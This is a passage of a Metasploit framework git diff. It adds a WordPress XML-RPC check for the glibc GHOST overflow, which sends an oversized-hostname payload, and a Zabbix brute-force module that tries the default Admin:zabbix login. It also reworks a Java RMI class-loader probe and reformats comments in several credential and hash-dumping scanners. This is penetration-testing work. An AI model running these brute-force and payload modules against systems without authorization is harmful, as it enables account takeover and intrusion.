'Jonathan Claudius' , + 'Karl Sigler' , + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0235' ], + [ 'URL', 'http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html'], + [ 'URL', 'http://blog.sucuri.net/2015/01/critical-ghost-vulnerability-released.html'] + ] + )) + + register_options( + [ + OptInt.new('LENGTH', [false, 'Payload length', 2500]), + ], self.class) + end + + def length + datastore['LENGTH'] + end + + def run_host(ip) + unless wordpress_and_online? + print_error("#{peer} - Looks like this site is no WordPress blog") + return + end + + unless wordpress_xmlrpc_enabled? + print_error("#{peer} - XMLRPC interface is not enabled") + return + end + + ghost = "0" * length + payload = "http://#{ghost}/#{Rex::Text.rand_text_alpha(7)}.php" + xml = wordpress_generate_xml_rpc_body('pingback.ping', payload, payload) + + res = send_request_cgi( + 'uri' => wordpress_url_xmlrpc, + 'method' => 'POST', + 'ctype' => 'text/xml;charset=UTF-8', + 'data' => xml + ) + + if res.nil? || res.code == 500 + print_good("#{peer} - vulnerable to GHOST") + report_vuln( + :host => ip, + :proto => 'tcp', + :port => datastore['RPORT'], + :name => self.name, + :info => "Module #{self.fullname} found GHOST vulnerability", + :sname => datastore['SSL'] ? "https" : "http" + ) + else + print_status("#{peer} - target not vulnerable to GHOST") + end + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index cc81b492bc..0c5ab06de1 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -42,30 +42,9 @@ class Metasploit3 < Msf::Auxiliary deregister_options('BLANK_PASSWORDS') # we don't need this option end - def xmlrpc_enabled? - xml = "" - xml << '' - xml << 'demo.sayHello' - xml << '' - xml << '' - xml << '' - xml << '' - - res = send_request_cgi( - 'uri' => wordpress_url_xmlrpc, - 'method' => 'POST', - 'data' => xml - ) - - if res && res.body =~ /Hello!<\/string>/ - return true # xmlrpc is enabled - end - return false - end - def run_host(ip) print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") - if xmlrpc_enabled? + if wordpress_xmlrpc_enabled? vprint_good("XMLRPC enabled, Hello message received!") else print_error("XMLRPC is not enabled! Aborting") @@ -85,14 +64,13 @@ class Metasploit3 < Msf::Auxiliary ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: wordpress_url_xmlrpc, - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + ) ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/yaws_traversal.rb b/modules/auxiliary/scanner/http/yaws_traversal.rb index b75dedcb3f..26e8aa1815 100644 --- a/modules/auxiliary/scanner/http/yaws_traversal.rb +++ b/modules/auxiliary/scanner/http/yaws_traversal.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'sinn3r', #Metasploit + 'sinn3r', # Metasploit module ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb new file mode 100644 index 0000000000..17bab42e5a --- /dev/null +++ b/modules/auxiliary/scanner/http/zabbix_login.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/zabbix' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Zabbix Server Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Zabbix server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the Zabbix default login (Admin:zabbix) and guest access. + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}") + + if is_guest_mode_enabled? + print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Zabbix has disabled Guest mode") + end + + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix') + ) + + @scanner = Metasploit::Framework::LoginScanner::Zabbix.new( + configure_http_login_scanner( + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + ) + ) + end + + # + # From the documentation: + # + # "In case of five consecutive failed login attempts, Zabbix interface will pause for 30 + # seconds in order to prevent brute force and dictionary attacks." + # + + # Zabbix enables a Guest mode by default that allows access to the dashboard without auth + def is_guest_mode_enabled? + dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php') + res = send_request_cgi({'uri'=>dashboard_uri}) + !! (res && res.code == 200 && res.body.to_s =~ /Zabbix .*: Dashboard<\/title>/) + end + +end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index d41900d8a6..19a35e271d 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") - print_error(res.inspect) + print_error(res.to_s) return :abort end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 215cc63bbd..1c30e026a7 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? "https" : "http"), :user => user, :pass => pass, - :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}", + :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}", :source_type => "user_supplied", :active => true ) diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb index b7168dde99..6df88ba9ee 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_version.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_version.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary if (res.nil?) print_error("no response for #{ip}:#{rport} #{check}") elsif (res.code == 200 and res.body) - #string we are regexing: <!-- Domino Release 7.0.3FP1 (Windows NT/Intel) --> + # string we are regexing: <!-- Domino Release 7.0.3FP1 (Windows NT/Intel) --> if match = res.body.match(/\<!-- Domino Release(.*) --\>/); server1 = $1 report_note( @@ -106,7 +106,7 @@ class Metasploit3 < Msf::Auxiliary if (res.nil?) print_error("no response for #{ip}:#{rport} #{check}") elsif (res.code == 200 and res.body) - #string we are regexing: <title>IBM Lotus Notes/Domino 6.5.6 Release Notes + # string we are regexing: IBM Lotus Notes/Domino 6.5.6 Release Notes if match = res.body.match(/\(.*)Lotus Notes\/Domino (.*) Release Notes\<\/title\>/); server2 = $2 print_status("#{ip}:#{rport} Lotus Domino Release Notes Version: " + $2) @@ -142,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary if (res.nil?) print_error("no response for #{ip}:#{rport} #{check}") elsif (res.code == 200 and res.body and res.body.index('TotalFileSize') and res.body.index('FileCount')) - #string we are regexing: # Regex Version=8.5.1.0 + # string we are regexing: # Regex Version=8.5.1.0 if match = res.body.match(/Version=(.*)/); server3 = $1 report_note( diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 1dddbe5cca..bd8b924ac0 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -98,10 +98,10 @@ class Metasploit3 < Msf::Auxiliary data = http.get(20) if data =~ /DVR WebViewer/i - #Confirmed ActiveX control over HTTP, display the control name and version - #Report HTTP service info since there is a confirmed IE ActiveX control - #Code base example: - #codebase="CtrWeb.cab#version=1,1,5,4" + # Confirmed ActiveX control over HTTP, display the control name and version + # Report HTTP service info since there is a confirmed IE ActiveX control + # Code base example: + # codebase="CtrWeb.cab#version=1,1,5,4" if data.match(/codebase="(\w{1,16})\.(\w{1,3}).version=(\d{1,3},\d{1,3},\d{1,3},\d{1,3})/) v = "#{$1}.#{$2} v#{$3}" else @@ -118,8 +118,8 @@ class Metasploit3 < Msf::Auxiliary :info => "IE ActiveX CCTV DVR Control (#{v})" ) else - #An HTTP server is listening on HTTP_PORT, however, does not appear to be - #the ActiveX control + # An HTTP server is listening on HTTP_PORT, however, does not appear to be + # the ActiveX control print_status("An unknown HTTP interface was found on #{datastore['HTTP_PORT']}/TCP") end @@ -135,15 +135,15 @@ class Metasploit3 < Msf::Auxiliary fill_length1 = 64 - user.length - #Check if user name length is too long for submission (exceeds packet length) + # Check if user name length is too long for submission (exceeds packet length) if fill_length1 < 1 return end - #Build the authentication packet starting here + # Build the authentication packet starting here data = "\x00\x01\x00\x00\x80\x00\x00\x00" + user + ("\x00" * fill_length1) - #Check if password length is too long for submission (exceeds packet length) + # Check if password length is too long for submission (exceeds packet length) fill_length2 = 64 - pass.length if fill_length2 < 1 return @@ -164,14 +164,14 @@ class Metasploit3 < Msf::Auxiliary return :abort end - #Analyze the response + # Analyze the response if res == "\x00\x01\x03\x01\x00\x00\x00\x00" #Failed Password vprint_error("#{rhost}:#{rport} Failed login as: '#{user}'") return elsif res =="\x00\x01\x02\x01\x00\x00\x00\x00" #Invalid User vprint_error("#{rhost}:#{rport} Invalid user: '#{user}'") - #Stop attempting passwords for this user since it doesn't exist + # Stop attempting passwords for this user since it doesn't exist return :skip_user elsif res =="\x00\x01\x05\x01\x00\x00\x00\x00" or res =="\x00\x01\x01\x01\x00\x00\x00\x00" diff --git a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb index b62d3dac5a..e50e477f5e 100644 --- a/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb +++ b/modules/auxiliary/scanner/misc/ib_service_mgr_info.rb @@ -210,9 +210,9 @@ class Metasploit3 < Msf::Auxiliary print("Version of the InterBase server: #{info_svc_server_version}\n") print("Implementation of the InterBase server: #{info_svc_implementation}\n\n") - # print(Rex::Text.to_hex_dump(response)) + #print(Rex::Text.to_hex_dump(response)) - #Add Report + # Add Report report_note( :host => ip, :sname => 'ib', @@ -222,7 +222,7 @@ class Metasploit3 < Msf::Auxiliary :data => "Version of the InterBase server: #{info_svc_server_version}" ) - #Add Report + # Add Report report_note( :host => ip, :sname => 'ib', diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 50afdbd8fd..7412806b60 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -4,10 +4,11 @@ ## require 'msf/core' +require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,96 +34,122 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def setup - buf = gen_rmi_loader_packet - - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" - new_url = "file:RMIClassLoaderSecurityTest/" + jar - - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - - idx = buf.index(find_me) - len = [new_url.length].pack("n") - - # Now replace it with the new url - buf[idx, find_me.length] = len + new_url - - @pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf - end - def run_host(target_host) + vprint_status("#{peer} - Sending RMI Header...") + connect - begin - connect - sock.put("\x4a\x52\x4d\x49\0\x02\x4b") - res = sock.get_once - disconnect - - if res and res =~ /^\x4e..([^\x00]+)\x00\x00/ - info = $1 - - begin - # Determine if the instance allows remote class loading - connect - sock.put(@pkt) rescue nil - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break if not res - buf << res - end - - rescue ::Interrupt - raise $! - rescue ::Exception - ensure - disconnect - end - - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 - print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") - svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") - report_vuln( - :host => rhost, - :service => svc, - :name => self.name, - :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", - :refs => self.references - ) - else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - end - - end - - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError - ensure + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") disconnect + return end + # Determine if the instance allows remote class loading + vprint_status("#{peer} - Sending RMI Call...") + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar + + send_call(call_data: build_gc_call_data(jar_url)) + return_data = recv_return + + if return_data.nil? + print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + return + end + + if loader_enabled?(return_data) + print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", + :refs => self.references + ) + else + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") + end end - def gen_rmi_loader_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + def loader_enabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end end diff --git a/modules/auxiliary/scanner/misc/oki_scanner.rb b/modules/auxiliary/scanner/misc/oki_scanner.rb index d8b8b6793b..9ea0e95333 100644 --- a/modules/auxiliary/scanner/misc/oki_scanner.rb +++ b/modules/auxiliary/scanner/misc/oki_scanner.rb @@ -49,8 +49,8 @@ class Metasploit3 < Msf::Auxiliary last_six = mac.value.unpack("H2H2H2H2H2H2").join[-6,6].upcase first_six = mac.value.unpack("H2H2H2H2H2H2").join[0,6].upcase - #check if it is a OKI - #OUI list can be found at http://standards.ieee.org/develop/regauth/oui/oui.txt + # check if it is a OKI + # OUI list can be found at http://standards.ieee.org/develop/regauth/oui/oui.txt if first_six == "002536" || first_six == "008087" || first_six == "002536" sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s print_status("Found: #{sys_name}") diff --git a/modules/auxiliary/scanner/mongodb/mongodb_login.rb b/modules/auxiliary/scanner/mongodb/mongodb_login.rb index e9f5680a2e..6d9dc76358 100644 --- a/modules/auxiliary/scanner/mongodb/mongodb_login.rb +++ b/modules/auxiliary/scanner/mongodb/mongodb_login.rb @@ -65,15 +65,15 @@ class Metasploit3 < Msf::Auxiliary def require_auth? request_id = Rex::Text.rand_text(4) - packet = "\x3f\x00\x00\x00" #messageLength (63) - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\x01\x00\x00\x00" #numberToReturn (1) - #query ({"listDatabases"=>1}) + packet = "\x3f\x00\x00\x00" # messageLength (63) + packet << request_id # requestID + packet << "\xff\xff\xff\xff" # responseTo + packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd) + packet << "\x00\x00\x00\x00" # numberToSkip (0) + packet << "\x01\x00\x00\x00" # numberToReturn (1) + # query ({"listDatabases"=>1}) packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00" sock.put(packet) @@ -91,13 +91,13 @@ class Metasploit3 < Msf::Auxiliary def auth(user, password, nonce) request_id = Rex::Text.rand_text(4) - packet = request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd) - packet << "\x00\x00\x00\x00" #numberToSkip (0) - packet << "\xff\xff\xff\xff" #numberToReturn (1) + packet = request_id # requestID + packet << "\xff\xff\xff\xff" # responseTo + packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd) + packet << "\x00\x00\x00\x00" # numberToSkip (0) + packet << "\xff\xff\xff\xff" # numberToReturn (1) #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"} document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65" @@ -109,12 +109,12 @@ class Metasploit3 < Msf::Auxiliary document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00" document << Rex::Text.md5(nonce + user + Rex::Text.md5(user + ":mongo:" + password)) + "\x00" document << "\x00" - #Calculate document length + # Calculate document length document.insert(0, [document.length + 4].pack("L")) packet += document - #Calculate messageLength + # Calculate messageLength packet.insert(0, [(packet.length + 4)].pack("L")) #messageLength sock.put(packet) response = sock.recv(1024) @@ -137,15 +137,15 @@ class Metasploit3 < Msf::Auxiliary def get_nonce request_id = Rex::Text.rand_text(4) - packet = "\x3d\x00\x00\x00" #messageLength (61) - packet << request_id #requestID - packet << "\xff\xff\xff\xff" #responseTo - packet << "\xd4\x07\x00\x00" #opCode (2004 OP_QUERY) - packet << "\x00\x00\x00\x00" #flags - packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (test.$cmd) + packet = "\x3d\x00\x00\x00" # messageLength (61) + packet << request_id # requestID + packet << "\xff\xff\xff\xff" # responseTo + packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY) + packet << "\x00\x00\x00\x00" # flags + packet << "\x74\x65\x73\x74\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (test.$cmd) packet << "\x00\x00\x00\x00" #numberToSkip (0) packet << "\x01\x00\x00\x00" #numberToReturn (1) - #query {"getnonce"=>1.0} + # query {"getnonce"=>1.0} packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00" sock.put(packet) @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Auxiliary end def have_auth_error?(response) - #Response header 36 bytes long + # Response header 36 bytes long documents = response[36..1024] #{"errmsg"=>"auth fails", "ok"=>0.0} #{"errmsg"=>"need to login", "ok"=>0.0} diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 99ec5d98af..5180dc687f 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(login_data) - #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) + # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] @@ -89,8 +89,8 @@ class Metasploit3 < Msf::Auxiliary end - #Stores the grabbed hashes as loot for later cracking - #The hash format is slightly different between 2k and 2k5/2k8 + # Stores the grabbed hashes as loot for later cracking + # The hash format is slightly different between 2k and 2k5/2k8 def report_hashes(mssql_hashes, version_year) case version_year @@ -154,8 +154,8 @@ class Metasploit3 < Msf::Auxiliary end end - #Grabs the user tables depending on what Version of MSSQL - #The queries are different between 2k and 2k/2k8 + # Grabs the user tables depending on what Version of MSSQL + # The queries are different between 2k and 2k/2k8 def mssql_hashdump(version_year) is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 4461f78e61..b29f8eb7e0 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -55,7 +55,9 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], - windows_authentication: datastore['USE_WINDOWS_AUTHENT'] + windows_authentication: datastore['USE_WINDOWS_AUTHENT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index 2aaf4cb469..628a8fdb86 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -40,13 +40,13 @@ class Metasploit3 < Msf::Auxiliary return end - #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) + # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n" - #Grab all the DB schema and save it as notes + # Grab all the DB schema and save it as notes mssql_schema = get_mssql_schema return nil if mssql_schema.nil? or mssql_schema.empty? mssql_schema.each do |db| @@ -107,13 +107,13 @@ class Metasploit3 < Msf::Auxiliary end - #Gets all of the Databases on this Instance + # Gets all of the Databases on this Instance def get_db_names results = mssql_query(mssql_db_names())[:rows] return results end - #Gets all the table names for the given DB + # Gets all the table names for the given DB def get_tbl_names(db_name) results = 